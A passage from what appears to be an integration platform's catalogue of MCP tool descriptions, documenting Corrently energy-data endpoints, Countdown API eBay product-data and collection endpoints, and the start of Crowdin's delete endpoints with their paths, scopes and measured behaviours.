global. GET /api/v1/corrently/v2.0/co2/sources. Scopes: api. corrently_get_v2_0_gsi_averagegsi (read) — The average Gruenstromindex (GSI) for one postcode over a time window, as `average_DSI` with the window the server actually used. Reached by GET /v2.0/gsi/averagegsi. ALL THREE arguments are required in practice: measured 2026-09-19, this route answers 500 with `zip` alone, 500 with `zip` and `from`, and 200 only with `zip`, `from` and `to` together. Corrently sends an empty body with the 500, so a caller that omits one gets no explanation -- which is why the description says so. The reply echoes the window the server actually used in `start_timestamp` / `end_timestamp`, and it is not always the one asked for (a 1789600000000 `to` came back as 1789601200000). GET /api/v1/corrently/v2.0/gsi/averagegsi. Scopes: api. corrently_get_v2_0_gsi_dispatch (read) — The regional generation mix around one postcode with the neighbouring locations it draws from and feeds to: `premix` and `postmix` shares by source (Biomasse, Solar, Wind auf Land, Wasser, Deponiegas, Klaergas, Geothermie), `dispatch_from` / `dispatch_to` as located energy shares, an average transport distance in km, and a daily history. Reached by GET /v2.0/gsi/dispatch. The richest read this integration ships -- about 10 KB per call. Source names are GERMAN and arrive in Latin-1-flavoured mojibake for the umlauted ones (`Klaergas` reaches the caller as the bytes the provider sends); they are passed through untouched rather than guessed at. GET /api/v1/corrently/v2.0/gsi/dispatch. Scopes: api. corrently_get_v2_0_gsi_marketdata (read) — The Corrently market-data list for one German postcode -- the feed behind corrently.io/books/marktdaten-strompreis, which forecasts regional electricity prices. Reached by GET /v2.0/gsi/marketdata. MEASURED 2026-09-19: the envelope is well formed and postcode-aware (the reply echoes `url: /v2.0/gsi/marketdata?zip=`) and `data` came back EMPTY for every postcode and every window tried (69256, 10115; hours, days, from/to, limit, period, start). An empty list is the answer, not an error. For a populated price series use `corrently_get_v2_0_tariff_marketdata`, which returns 13 to 14 hourly rows. GET /api/v1/corrently/v2.0/gsi/marketdata. Scopes: api. corrently_get_v2_0_ping (read) — Corrently's own liveness endpoint. It answers `status` and `provisioning`, and `provisioning.source` is the ONLY place this API reports whether it recognised the credential: `TokenVerification` means the token was verified, `QueryToken` means a token was sent and not recognised, `CloudFlare-IP` means none was sent. Reached by GET /v2.0/ping. Corrently answers `status: "Warning: Deprecation"` here for a perfectly good token -- measured 2026-09-19 with the operator's own JWT -- so the warning is about the endpoint's API generation and not about the credential. This route also ECHOES THE CALLER'S TOKEN back in `request.token`; the connector redacts it before the reply leaves the process (see `CorrentlyConnector._redact`). GET /api/v1/corrently/v2.0/ping. Scopes: api. corrently_get_v2_0_solar_estimation (read) — An estimated yield for a photovoltaic installation at a location, returned as `inputs` (what the server resolved) and `outputs`. Reached by GET /v2.0/solar/estimation. GET /api/v1/corrently/v2.0/solar/estimation. Scopes: api. corrently_get_v2_0_solar_forecast (read) — An hourly solar-power-index (`spi`) forecast for a location, each point carrying `timeStamp`, `spi` and an ISO date. Reached by GET /v2.0/solar/forecast. ⚠ DOWN AT SHIP TIME, on the provider's side. It answered 200 with a real hourly `spi` series twice on 2026-09-19 -- directly, and again through the shipped dispatch path -- and then began answering 500 with an empty body to every request, 15 consecutive ones over twenty minutes, for `?zip=` and for `?lat=&lon=` alike, while its three sibling solar routes stayed 200 in the same minutes. That makes it a partial backend outage rather than a retired route, so it ships; try it, and prefer `corrently_get_v2_0_solar_prediction` while it is failing. `lng` is a THIRD spelling the server also honours (measured REAL alongside `lon`). Only `lon` is shipped: two names for one value in an argument list is an invitation to send both and wonder which won. GET /api/v1/corrently/v2.0/solar/forecast. Scopes: api. corrently_get_v2_0_solar_prediction (read) — A detailed solar generation prediction for a location -- about 9 KB of `output` beside the `input` the server resolved. Reached by GET /v2.0/solar/prediction. GET /api/v1/corrently/v2.0/solar/prediction. Scopes: api. corrently_get_v2_0_tariff_emobil (read) — The electric-vehicle charging tariff at one postcode: `ap` the unit price in ct/kWh, `gp` the monthly base price in EUR, and the resolved city. Reached by GET /v2.0/tariff/emobil. Alive only WITH a postcode: measured 2026-09-19 it answers 500 with no parameters and 200 with `zip`. On this host a 500 is routinely a missing required argument rather than a dead route. GET /api/v1/corrently/v2.0/tariff/emobil. Scopes: api. corrently_get_v2_0_tariff_marketdata (read) — The hourly wholesale electricity price series, as a list of `{start_timestamp, end_timestamp, marketprice, unit}` in Eur/MWh. 13 to 14 rows per call, covering the rest of the current day. Reached by GET /v2.0/tariff/marketdata. Takes NO parameters: `zip` and `country` were both measured IGNORED on 2026-09-19 (byte-identical bodies for two different values). The series is national. This is the populated price feed -- prefer it over `corrently_get_v2_0_gsi_marketdata`, whose list is empty. GET /api/v1/corrently/v2.0/tariff/marketdata. Scopes: api. corrently_get_v2_0_tariff_slph0 (read) — The standard-load-profile H0 (household) tariff at one postcode: `ap` the unit price in ct/kWh, `gp` the monthly base price in EUR, the resolved city and the grid `locationid`. Reached by GET /v2.0/tariff/slph0. GET /api/v1/corrently/v2.0/tariff/slph0. Scopes: api. corrently_post_v2_0_solar_prediction (read) — The same prediction as `corrently_get_v2_0_solar_prediction`, with its inputs in a JSON body. Reached by POST /v2.0/solar/prediction. Measured 2026-09-19: body `{"zip": "10115"}` with no query parameter returned the Berlin prediction. POST /api/v1/corrently/v2.0/solar/prediction. Scopes: api. corrently_post_v2_0_tariff_emobil (read) — The same e-mobility tariff read as `corrently_get_v2_0_tariff_emobil`, with the postcode in a JSON body. Reached by POST /v2.0/tariff/emobil. Measured 2026-09-19: body `{"zip": "10115"}` with no query parameter returned Berlin's tariff. POST /api/v1/corrently/v2.0/tariff/emobil. Scopes: api. corrently_post_v2_0_tariff_slph0 (read) — The same H0 tariff read as `corrently_get_v2_0_tariff_slph0`, with the postcode in a JSON body. Reached by POST /v2.0/tariff/slph0. A real alternative form, not a duplicate: measured 2026-09-19, `POST /v2.0/tariff/slph0` with body `{"zip": "10115"}` and NO query parameter returned Berlin's tariff, so the body is read. POST /api/v1/corrently/v2.0/tariff/slph0. Scopes: api. ================================================================================ ## Countdown API URL: https://www.agenticfabriq.com/integrations/countdownapi Section: Integrated Tools Countdown API — 33 MCP tools Provider key: countdownapi. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. countdownapi_delete_collections_by_collection_id (collections, destructive) — Delete a Collection and every Request and Result Set in it. This cannot be undone. DELETE /api/v1/countdownapi/collections/{collection_id}. Scopes: api. countdownapi_delete_collections_by_collection_id_by_request_id (collections, destructive) — Delete one Request from a Collection. Requests can only be deleted while the Collection is not running, and calls must be sequential: too many concurrent ones are answered 429. To remove them all, use the clear-requests tool instead. This cannot be undone. DELETE /api/v1/countdownapi/collections/{collection_id}/{request_id}. Scopes: api. countdownapi_delete_collections_by_collection_id_clear (collections, destructive) — Delete EVERY Request in a Collection, leaving the Collection itself in place. This cannot be undone. DELETE /api/v1/countdownapi/collections/{collection_id}/clear. Scopes: api. countdownapi_delete_destinations (destinations, destructive) — Delete SEVERAL Destinations at once. The body is a JSON ARRAY of Destination id STRINGS. Collections that reference them stop uploading their Result Sets there. This cannot be undone. DELETE /api/v1/countdownapi/destinations. Scopes: api. countdownapi_delete_destinations_by_destination_id (destinations, destructive) — Delete one Destination by id. Collections that reference it stop uploading their Result Sets there. This cannot be undone. DELETE /api/v1/countdownapi/destinations/{destination_id}. Scopes: api. countdownapi_get_account (account) — Retrieve the Countdown API account: plan, request credits used and remaining, the date the allowance resets, per-day usage history, Collection and Destination limits, the IP addresses Countdown API uploads to Destinations from, and the live parsing status of each request type. Free -- no request credits, which is why it is also the endpoint used to verify a pasted key. The account's own API key is REDACTED from the response by this integration. GET /api/v1/countdownapi/account. Scopes: api. countdownapi_get_collections (collections) — List the Collections on the account, with search, status, date, destination, sorting and pagination filters. 25 per page by default, 1000 maximum. Rate limited to 60 calls a minute. Free -- no request credits. GET /api/v1/countdownapi/collections. Scopes: api. countdownapi_get_collections_by_collection_id (collections) — Retrieve one Collection: its schedule, status, priority, destinations, and COUNTS of the Requests and Result Sets it holds. Use the list-requests and list-result-sets tools for the contents themselves. Free -- no request credits. GET /api/v1/countdownapi/collections/{collection_id}. Scopes: api. countdownapi_get_collections_by_collection_id_requests_by_page (collections) — List one page of a Collection's Requests, 1000 per page, pages starting at 1 -- the Collection's requests_page_count says how many there are. Supply q to search the Requests and their custom_ids, or custom_id to match one exactly. Call sequentially; too many concurrent calls are answered 429. Free -- no request credits. GET /api/v1/countdownapi/collections/{collection_id}/requests/{page}. Scopes: api. countdownapi_get_collections_by_collection_id_requests_csv (collections) — Retrieve download links for every Request in a Collection in CSV format, one link per page. Free -- no request credits. GET /api/v1/countdownapi/collections/{collection_id}/requests/csv. Scopes: api. countdownapi_get_collections_by_collection_id_requests_json (collections) — Retrieve download links for every Request in a Collection in JSON format, one link per page. Free -- no request credits. GET /api/v1/countdownapi/collections/{collection_id}/requests/json. Scopes: api. countdownapi_get_collections_by_collection_id_results (collections) — List every Result Set a Collection has produced, most recent first. Countdown API retains Result Sets for 14 days, so an older run's links are gone rather than broken. Free -- no request credits. GET /api/v1/countdownapi/collections/{collection_id}/results. Scopes: api. countdownapi_get_collections_by_collection_id_results_by_result_set_id (collections) — Retrieve one Result Set of a Collection as JSON: its details plus a download link per page of results. Free -- no request credits. GET /api/v1/countdownapi/collections/{collection_id}/results/{result_set_id}. Scopes: api. countdownapi_get_collections_by_collection_id_results_by_result_set_id_csv (collections) — Retrieve one Result Set of a Collection as CSV: its details plus a download link per page. Supply csv_fields to choose the columns. Free -- no request credits. GET /api/v1/countdownapi/collections/{collection_id}/results/{result_set_id}/csv. Scopes: api. countdownapi_get_collections_by_collection_id_results_by_result_set_id_jsonlines (collections) — Retrieve one Result Set of a Collection as JSON Lines: its details plus a download link per page. Free -- no request credits. GET /api/v1/countdownapi/collections/{collection_id}/results/{result_set_id}/jsonlines. Scopes: api. countdownapi_get_collections_by_collection_id_results_by_result_set_id_resendwebhook (collections) — Ask Countdown API to re-send the webhook POST for one Result Set, which tests webhook connectivity without re-running the Collection. Free -- no request credits. GET /api/v1/countdownapi/collections/{collection_id}/results/{result_set_id}/resendwebhook. Scopes: api. countdownapi_get_collections_by_collection_id_start (collections, destructive) — Start a Collection running now, whatever its schedule, as long as it is enabled and not already running. SPENDS REQUEST CREDITS: one per Request in the Collection, up to 15,000 in a single call, and the spend cannot be undone once the run begins. The account must hold enough credits for every Request or the start is refused. GET /api/v1/countdownapi/collections/{collection_id}/start. Scopes: api. countdownapi_get_collections_by_collection_id_stop (collections) — Stop a Collection that is queued or running, returning it to idle. Free -- no request credits. GET /api/v1/countdownapi/collections/{collection_id}/stop. Scopes: api. countdownapi_get_collections_stopall (collections) — Stop EVERY Collection on the account that is queued or running, returning them all to idle. Account-wide: it stops Collections this connection did not start. Free -- no request credits. GET /api/v1/countdownapi/collections/stopall. Scopes: api. countdownapi_get_destinations (destinations) — List the Destinations on the account -- the S3, S3-compatible, Google Cloud Storage, Azure Blob Storage or Alibaba Cloud OSS buckets that Collection Result Sets are uploaded to -- with the account's destination usage against its limit. Free -- no request credits. GET /api/v1/countdownapi/destinations. Scopes: api. countdownapi_get_errorlogs (errorlogs) — List the account's Error Logs -- requests that failed, with the eBay URL attempted, the API request that caused it (with the API key stripped by Countdown API), a count and the response given. 10 per page. The vendor states this API is free of charge and rate limited to 60 calls a minute, shared with the dashboard. GET /api/v1/countdownapi/errorlogs. Scopes: api. countdownapi_get_request_autocomplete (product-data) — Retrieve eBay's own autocomplete suggestions for a partial search term. Both ebay_domain and search_term are REQUIRED, and this type accepts no other parameters of its own. Costs 1 request credit. GET /api/v1/countdownapi/request/autocomplete. Scopes: api. countdownapi_get_request_deals (product-data) — Retrieve the listings on an eBay deals page. url is REQUIRED and must be a deals page such as https://www.ebay.com/deals; this type takes no ebay_domain. Costs 1 request credit per page. GET /api/v1/countdownapi/request/deals. Scopes: api. countdownapi_get_request_product (product-data) — Retrieve one eBay product's details -- title, condition, offer and pricing, seller, shipping, returns policy, stock status and promotions. Identify it with epid (plus ebay_domain), with a GTIN/ISBN/UPC/EAN in gtin, or with a full eBay product-page url (which overrides ebay_domain and epid). Costs 1 request credit, or 2 when skip_gtin_cache or include_parts_compatibility is true. GET /api/v1/countdownapi/request/product. Scopes: api. countdownapi_get_request_reviews (product-data) — Retrieve customer reviews for one eBay product, with condition and search filters, sorting and pagination. Identify the product with epid (plus ebay_domain), with a GTIN/ISBN/UPC/EAN in gtin, or with a full eBay product-page url. Costs 1 request credit per page. GET /api/v1/countdownapi/request/reviews. Scopes: api. countdownapi_get_request_search (product-data) — Search an eBay domain for listings by search term, with category, listing-type, condition, sorting, facet and attribute filters and pagination. Supply search_term, or a full eBay search-results url (which overrides search_term, sort_by, listing_type, condition and page). Costs 1 request credit per page retrieved. GET /api/v1/countdownapi/request/search. Scopes: api. countdownapi_get_request_seller_feedback (product-data) — Retrieve the feedback an eBay seller has received or left, with rating, time-period and search filters and pagination. Identify the seller with seller_name (plus ebay_domain) or with a full eBay seller feedback url. Costs 1 request credit per page. GET /api/v1/countdownapi/request/seller_feedback. Scopes: api. countdownapi_get_request_seller_profile (product-data) — Retrieve an eBay seller's profile -- feedback score, ratings breakdown, member-since date and location. Identify the seller with seller_name (plus ebay_domain) or with a full eBay seller profile url. Seller names are returned by the product and reviews tools. Costs 1 request credit. MEASURED 2026-09-18: Countdown API answered this type 500 "unable to fulfil your request at this time" for two different sellers; the vendor does not charge for that failure, and the other six types were unaffected. GET /api/v1/countdownapi/request/seller_profile. Scopes: api. countdownapi_post_collections (collections) — Create a Collection: a set of up to 15,000 eBay Product Data Requests that run together on a schedule, or on demand. An account may hold up to 10,000 Collections. Creating one is free; RUNNING one spends one request credit per Request in it. POST /api/v1/countdownapi/collections. Scopes: api. countdownapi_post_destinations (destinations) — Create a Destination that Collection Result Sets are uploaded to. Creating it ENABLED makes Countdown API upload and delete a test file to prove connectivity, and the create fails if that fails. The storage credentials in the body belong to the customer's own cloud account. Free -- no request credits. POST /api/v1/countdownapi/destinations. Scopes: api. countdownapi_put_collections_by_collection_id (collections) — Update a Collection's fields AND/OR add Requests to it -- Countdown API serves both from this one endpoint. Send the Collection's own fields to update it, or a `requests` array (up to 1000 per call) to add Requests. Requests can only be added or changed while the Collection is not running, and calls must be made sequentially: too many concurrent ones are answered 429. Free -- no request credits. PUT /api/v1/countdownapi/collections/{collection_id}. Scopes: api. countdownapi_put_collections_by_collection_id_by_request_id (collections) — Update one Request inside a Collection. The body is a whole eBay Product Data request -- send type and that type's own parameters, not just the field being changed; measured 2026-09-18, omitting ebay_domain is refused 400 even when the stored Request already had one. Requests can only be updated while the Collection is not running, and calls must be sequential: too many concurrent ones are answered 429. Free -- no request credits. PUT /api/v1/countdownapi/collections/{collection_id}/{request_id}. Scopes: api. countdownapi_put_destinations_by_destination_id (destinations) — Update a Destination. Takes the same fields as creating one. Enabling a disabled Destination, or changing its credentials, re-runs the connectivity test, and the update fails if that fails. Free -- no request credits. PUT /api/v1/countdownapi/destinations/{destination_id}. Scopes: api. ================================================================================ ## Crowdin URL: https://www.agenticfabriq.com/integrations/crowdin Section: Integrated Tools Crowdin — 371 MCP tools Provider key: crowdin. Scopes: ai, ai.fine-tuning, ai.prompt, ai.provider, ai.proxy, ai.request-log, ai.translate, application, glossary, language, mt, notification, project, project.advisor, project.member, project.report, project.screenshot, project.settings, project.source, project.status, project.task, project.translation, project.webhook, security-log, style-guide, tm, webhook. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. crowdin_delete_applications_by_applicationidentifier_api_by_path (write, destructive) — Delete Application Data via DELETE /applications/{applicationIdentifier}/api/{path} DELETE /api/v1/crowdin/applications/{applicationIdentifier}/api/{path}. Scopes: application. crowdin_delete_applications_by_applicationidentifier_api_jobs (write, destructive) — Cancel Job via DELETE /applications/{applicationIdentifier}/api/jobs DELETE /api/v1/crowdin/applications/{applicationIdentifier}/api/jobs. Scopes: application. crowdin_delete_applications_consents_by_consentid (write, destructive) — Delete Application Consent Decision via DELETE /applications/consents/{consentId} DELETE /api/v1/crowdin/applications/consents/{consentId}. Scopes: application. crowdin_delete_applications_installations_by_identifier (write, destructive) — Delete Application Installation via DELETE /applications/installations/{identifier} DELETE /api/v1/crowdin/applications/installations/{identifier}. Scopes: application. crowdin_delete_glossaries_by_glossaryid (write, destructive) — Delete Glossary via DELETE /glossaries/{glossaryId} DELETE /api/v1/crowdin/glossaries/{glossaryId}. Scopes: glossary. crowdin_delete_glossaries_by_glossaryid_concepts_by_conceptid (write, destructive) — Delete Concept via DELETE /glossaries/{glossaryId}/concepts/{conceptId} DELETE /api/v1/crowdin/glossaries/{glossaryId}/concepts/{conceptId}. Scopes: glossary. crowdin_delete_glossaries_by_glossaryid_terms (write, destructive) — Clear Glossary via DELETE /glossaries/{glossaryId}/terms DELETE /api/v1/crowdin/glossaries/{glossaryId}/terms. Scopes: glossary. crowdin_delete_glossaries_by_glossaryid_terms_by_termid (write, destructive) — Delete Term via DELETE /glossaries/{glossaryId}/terms/{termId} DELETE /api/v1/crowdin/glossaries/{glossaryId}/terms/{termId}. Scopes: glossary. crowdin_delete_languages_by_languageid (write, destructive) — Delete Custom Language via DELETE /languages/{languageId} DELETE /api/v1/crowdin/languages/{languageId}. Scopes: language. crowdin_delete_projects_by_projectid (write, destructive) — Delete Project via DELETE /projects/{projectId} DELETE /api/v1/crowdin/projects/{projectId}. Scopes: project. crowdin_delete_projects_by_projectid_approvals (write, destructive) — Remove String/Asset Approvals via DELETE /projects/{projectId}/approvals DELETE /api/v1/crowdin/projects/{projectId}/approvals. Scopes: project.translation. crowdin_delete_projects_by_projectid_approvals_by_approvalid (write, destructive) — Remove Approval via DELETE /projects/{projectId}/approvals/{approvalId} DELETE /api/v1/crowdin/projects/{projectId}/approvals/{approvalId}. Scopes: project.translation. crowdin_delete_projects_by_projectid_branches_by_branchid (write, destructive) — Delete Branch via DELETE /projects/{projectId}/branches/{branchId} DELETE /api/v1/crowdin/projects/{projectId}/branches/{branchId}. Scopes: project.source. crowdin_delete_projects_by_projectid_bundles_by_bundleid (write, destructive) — Delete Bundle via DELETE /projects/{projectId}/bundles/{bundleId} DELETE /api/v1/crowdin/projects/{projectId}/bundles/{bundleId}. Scopes: project.source. crowdin_delete_projects_by_projectid_comments_by_commentid (write, destructive) — Delete String/Asset Comment via DELETE /projects/{projectId}/comments/{commentId} DELETE /api/v1/crowdin/projects/{projectId}/comments/{commentId}. Scopes: project.source. crowdin_delete_projects_by_projectid_comments_by_commentid_attachments_by_attachmentid (write, destructive) — Delete Attachment from String/Asset Comment via DELETE /projects/{projectId}/comments/{commentId}/attachments/{attachmentId} DELETE /api/v1/crowdin/projects/{projectId}/comments/{commentId}/attachments/{attachmentId}. Scopes: project.source. crowdin_delete_projects_by_projectid_directories_by_directoryid (write, destructive) — Delete Directory via DELETE /projects/{projectId}/directories/{directoryId} DELETE /api/v1/crowdin/projects/{projectId}/directories/{directoryId}. Scopes: project.source. crowdin_delete_projects_by_projectid_distributions_by_hash (write, destructive) — Delete Distribution via DELETE /projects/{projectId}/distributions/{hash} DELETE /api/v1/crowdin/projects/{projectId}/distributions/{hash}. Scopes: project.translation. crowdin_delete_projects_by_projectid_file_format_settings_by_fileformatsettingsid (write, destructive) — Delete Project File Format Settings via DELETE /projects/{projectId}/file-format-settings/{fileFormatSettingsId} DELETE /api/v1/crowdin/projects/{projectId}/file-format-settings/{fileFormatSettingsId}. Scopes: project.settings. crowdin_delete_projects_by_projectid_file_format_settings_by_fileformatsettingsid_custom_segmentations (write, destructive) — Reset Project File Format Settings Custom Segmentation via DELETE /projects/{projectId}/file-format-settings/{fileFormatSettingsId}/custom-segmentations DELETE /api/v1/crowdin/projects/{projectId}/file-format-settings/{fileFormatSettingsId}/custom-segmentations. Scopes: project.settings. crowdin_delete_projects_by_projectid_files_by_fileid (write, destructive) — Delete File via DELETE /projects/{projectId}/files/{fileId} DELETE /api/v1/crowdin/projects/{projectId}/files/{fileId}. Scopes: project.source. crowdin_delete_projects_by_projectid_files_by_fileid_references_by_referenceid (write, destructive) — Delete Asset Reference via DELETE /projects/{projectId}/files/{fileId}/references/{referenceId} DELETE /api/v1/crowdin/projects/{projectId}/files/{fileId}/references/{referenceId}. Scopes: project.source. crowdin_delete_projects_by_projectid_labels_by_labelid (write, destructive) — Delete Label via DELETE /projects/{projectId}/labels/{labelId} DELETE /api/v1/crowdin/projects/{projectId}/labels/{labelId}. Scopes: project.source. crowdin_delete_projects_by_projectid_labels_by_labelid_screenshots (write, destructive) — Unassign Label from Screenshots via DELETE /projects/{projectId}/labels/{labelId}/screenshots DELETE /api/v1/crowdin/projects/{projectId}/labels/{labelId}/screenshots. Scopes: project.source. crowdin_delete_projects_by_projectid_labels_by_labelid_strings (write, destructive) — Unassign Label from Strings via DELETE /projects/{projectId}/labels/{labelId}/strings DELETE /api/v1/crowdin/projects/{projectId}/labels/{labelId}/strings. Scopes: project.source. crowdin_delete_projects_by_projectid_members_by_memberid (write, destructive) — Delete Member From Project via DELETE /projects/{projectId}/members/{memberId} DELETE /api/v1/crowdin/projects/{projectId}/members/{memberId}. Scopes: project.member. crowdin_delete_projects_by_projectid_qa_checks_revalidate_by_revalidationid (write, destructive) — Cancel QA Checks Revalidation via DELETE /projects/{projectId}/qa-checks/revalidate/{revalidationId} DELETE /api/v1/crowdin/projects/{projectId}/qa-checks/revalidate/{revalidationId}. Scopes: project.status. crowdin_delete_projects_by_projectid_reports_settings_templates_by_reportsettingstemplateid (write, destructive) — Delete Report Settings Template via DELETE /projects/{projectId}/reports/settings-templates/{reportSettingsTemplateId} DELETE /api/v1/crowdin/projects/{projectId}/reports/settings-templates/{reportSettingsTemplateId}. Scopes: project.report. crowdin_delete_projects_by_projectid_screenshots_by_screenshotid (write, destructive) — Delete Screenshot via DELETE /projects/{projectId}/screenshots/{screenshotId} DELETE /api/v1/crowdin/projects/{projectId}/screenshots/{screenshotId}. Scopes: project.screenshot. crowdin_delete_projects_by_projectid_screenshots_by_screenshotid_tags (write, destructive) — Clear Tags via DELETE /projects/{projectId}/screenshots/{screenshotId}/tags DELETE /api/v1/crowdin/projects/{projectId}/screenshots/{screenshotId}/tags. Scopes: project.screenshot. crowdin_delete_projects_by_projectid_screenshots_by_screenshotid_tags_by_tagid (write, destructive) — Delete Tag via DELETE /projects/{projectId}/screenshots/{screenshotId}/tags/{tagId} DELETE /api/v1/crowdin/projects/{projectId}/screenshots/{screenshotId}/tags/{tagId}. Scopes: project.screenshot. crowdin_delete_projects_by_projectid_strings_by_stringid (write, destructive) — Delete String via DELETE /projects/{projectId}/strings/{stringId} DELETE /api/v1/crowdin/projects/{projectId}/strings/{stringId}. Scopes: project.source. crowdin_delete_projects_by_projectid_strings_exporter_settings_by_systemstringsexportersettingsid (write, destructive) — Delete Project Strings Exporter Settings via DELETE /projects/{projectId}/strings-exporter-settings/{systemStringsExporterSettingsId} DELETE /api/v1/crowdin/projects/{projectId}/strings-exporter-settings/{systemStringsExporterSettingsId}. Scopes: project.settings. crowdin_delete_projects_by_projectid_tasks_by_taskid (write, destructive) — Delete Project Task via DELETE /projects/{projectId}/tasks/{taskId} DELETE /api/v1/crowdin/projects/{projectId}/tasks/{taskId}. Scopes: project.task. crowdin_delete_projects_by_projectid_tasks_by_taskid_comments_by_commentid (write, destructive) — Delete Project Task Comment via DELETE /projects/{projectId}/tasks/{taskId}/comments/{commentId} DELETE /api/v1/crowdin/projects/{projectId}/tasks/{taskId}/comments/{commentId}. Scopes: project.task. crowdin_delete_projects_by_projectid_tasks_settings_templates_by_tasksettingstemplateid (write, destructive) — Delete Project Task Settings Template via DELETE /projects/{projectId}/tasks/settings-templates/{taskSettingsTemplateId} DELETE /api/v1/crowdin/projects/{projectId}/tasks/settings-templates/{taskSettingsTemplateId}. Scopes: project.task. crowdin_delete_projects_by_projectid_translations (write, destructive) — Delete String/Asset Translations via DELETE /projects/{projectId}/translations DELETE /api/v1/crowdin/projects/{projectId}/translations. Scopes: project.translation. crowdin_delete_projects_by_projectid_translations_builds_by_buildid (write, destructive) — Cancel Build via DELETE /projects/{projectId}/translations/builds/{buildId} DELETE /api/v1/crowdin/projects/{projectId}/translations/builds/{buildId}. Scopes: project.translation. crowdin_delete_projects_by_projectid_translations_by_translationid (write, destructive) — Delete Translation via DELETE /projects/{projectId}/translations/{translationId} DELETE /api/v1/crowdin/projects/{projectId}/translations/{translationId}. Scopes: project.translation. crowdin_delete_projects_by_projectid_votes_by_voteid (write, destructive) — Cancel Vote via DELETE /projects/{projectId}/votes/{voteId} DELETE /api/v1/crowdin/projects/{projectId}/votes/{voteId}. Scopes: project.translation. crowdin_delete_projects_by_projectid_webhooks_by_webhookid (write, destructive) — Delete Webhook via DELETE /projects/{projectId}/webhooks/{webhookId} DELETE /api/v1/crowdin/projects/{projectId}/webhooks/{webhookId}. Scopes: project.webhook. crowdin_delete_storages_by_storageid (write, destructive) — Delete Storage via DELETE /storages/{storageId} DELETE /api/v1/crowdin/storages/{storageId}. Scopes: project.source. crowdin_delete_style_guides_by_styleguideid (write, destructive) — Delete Style Guide via DELETE /style-guides/{styleGuideId} DELETE /api/v1/crowdin/style-guides/{styleGuideId}. Scopes: style-guide. crowdin_delete_tms_by_tmid (write, destructive) — Delete TM via DELETE /tms/{tmId} DELETE /api/v1/crowdin/tms/{tmId}. Scopes: tm. crowdin_delete_tms_by_tmid_segments (write, destructive) — Clear TM via DELETE /tms/{tmId}/segments DELETE /api/v1/crowdin/tms/{tmId}/segments. Scopes: tm. crowdin_delete_tms_by_tmid_segments_by_segmentid (write, destructive) — Delete TM Segment via DELETE /tms/{tmId}/segments/{segmentId} DELETE /api/v1/crowdin/tms/{tmId}/segments/{segmentId}. Scopes: tm. crowdin_delete_tms_by_tmid_segments_by_segmentid_records_by_recordid (write, destructive) — Delete TM Segment Record via DELETE /tms/{tmId}/segments/{segmentId}/records/{recordId} DELETE /api/v1/crowdin/tms/{tmId}/segments/{segmentId}/records/{recordId}. Scopes: tm. crowdin_delete_users_by_userid_ai_file_translations_by_jobidentifier (write, destructive) — Cancel File Translations via DELETE /users/{userId}/ai/file-translations/{jobIdentifier} DELETE /api/v1/crowdin/users/{userId}/ai/file-translations/{jobIdentifier}. Scopes: ai.translate. crowdin_delete_users_by_userid_ai_prompts_by_aipromptid (write, destructive) — Delete AI Prompt via DELETE /users/{userId}/ai/prompts/{aiPromptId} DELETE /api/v1/crowdin/users/{userId}/ai/prompts/{aiPromptId}. Scopes: ai.prompt. crowdin_delete_users_by_userid_ai_prompts_by_aipromptid_completions_by_completionid (write, destructive) — Cancel AI Prompt Completion via DELETE /users/{userId}/ai/prompts/{aiPromptId}/completions/{completionId} DELETE /api/v1/crowdin/users/{userId}/ai/prompts/{aiPromptId}/completions/{completionId}. Scopes: ai.prompt. crowdin_delete_users_by_userid_ai_providers_by_aiproviderid (write, destructive) — Delete AI Provider via DELETE /users/{userId}/ai/providers/{aiProviderId} DELETE /api/v1/crowdin/users/{userId}/ai/providers/{aiProviderId}. Scopes: ai.provider. crowdin_delete_users_by_userid_ai_providers_by_aiproviderid_gateway_by_path (write, destructive) — AI Gateway DELETE via DELETE /users/{userId}/ai/providers/{aiProviderId}/gateway/{path} DELETE /api/v1/crowdin/users/{userId}/ai/providers/{aiProviderId}/gateway/{path}. Scopes: ai.proxy. crowdin_delete_users_by_userid_ai_settings_custom_placeholders_by_aicustomplaceholderid (write, destructive) — Delete AI Custom Placeholder via DELETE /users/{userId}/ai/settings/custom-placeholders/{aiCustomPlaceholderId} DELETE /api/v1/crowdin/users/{userId}/ai/settings/custom-placeholders/{aiCustomPlaceholderId}. Scopes: ai.prompt. crowdin_delete_users_by_userid_ai_settings_snippets_by_aisnippetid (write, destructive) — Delete AI Snippet via DELETE /users/{userId}/ai/settings/snippets/{aiSnippetId} DELETE /api/v1/crowdin/users/{userId}/ai/settings/snippets/{aiSnippetId}. Scopes: ai.prompt. crowdin_delete_users_by_userid_reports_archives_by_archiveid (write, destructive) — Delete Report Archive via DELETE /users/{userId}/reports/archives/{archiveId} DELETE /api/v1/crowdin/users/{userId}/reports/archives/{archiveId}. Scopes: project.report. crowdin_delete_users_by_userid_reports_settings_templates_by_reportsettingstemplateid (write, destructive) — Delete User Report Settings Template via DELETE /users/{userId}/reports/settings-templates/{reportSettingsTemplateId} DELETE /api/v1/crowdin/users/{userId}/reports/settings-templates/{reportSettingsTemplateId}. Scopes: project.report. crowdin_delete_webhooks_by_organizationwebhookid (write, destructive) — Delete Webhook via DELETE /webhooks/{organizationWebhookId} DELETE /api/v1/crowdin/webhooks/{organizationWebhookId}. Scopes: webhook. crowdin_get_applications_by_applicationidentifier_api_all_jobs (read) — List Jobs via GET /applications/{applicationIdentifier}/api/all-jobs GET 